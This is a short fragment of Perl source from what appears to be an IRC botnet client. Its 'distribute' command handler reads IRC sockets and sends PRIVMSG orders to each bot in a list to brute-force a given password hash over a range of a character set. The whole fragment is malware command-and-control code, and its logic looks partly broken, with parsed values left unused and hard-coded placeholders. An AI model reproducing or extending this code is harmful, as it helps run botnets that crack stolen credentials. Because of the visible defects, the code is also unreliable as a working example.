if ($funcarg =~ /^distribute\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { my $charset = $1; my $mincount = $2; my $maxcount = $3; my $hash = $4; my $hashtype = $5; sendraw($IRC_cur_socket, "NAMES $printl"); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); } } foreach $botname(@bots) { sendraw($IRC_cur_socket, "PRIVMSG $botname :$distributekey $hashtype $hash a ZZZ $charset $printl "); } #Usage: distribute(hashtype, hash, start, end, charset(aAdx), resultschannel) }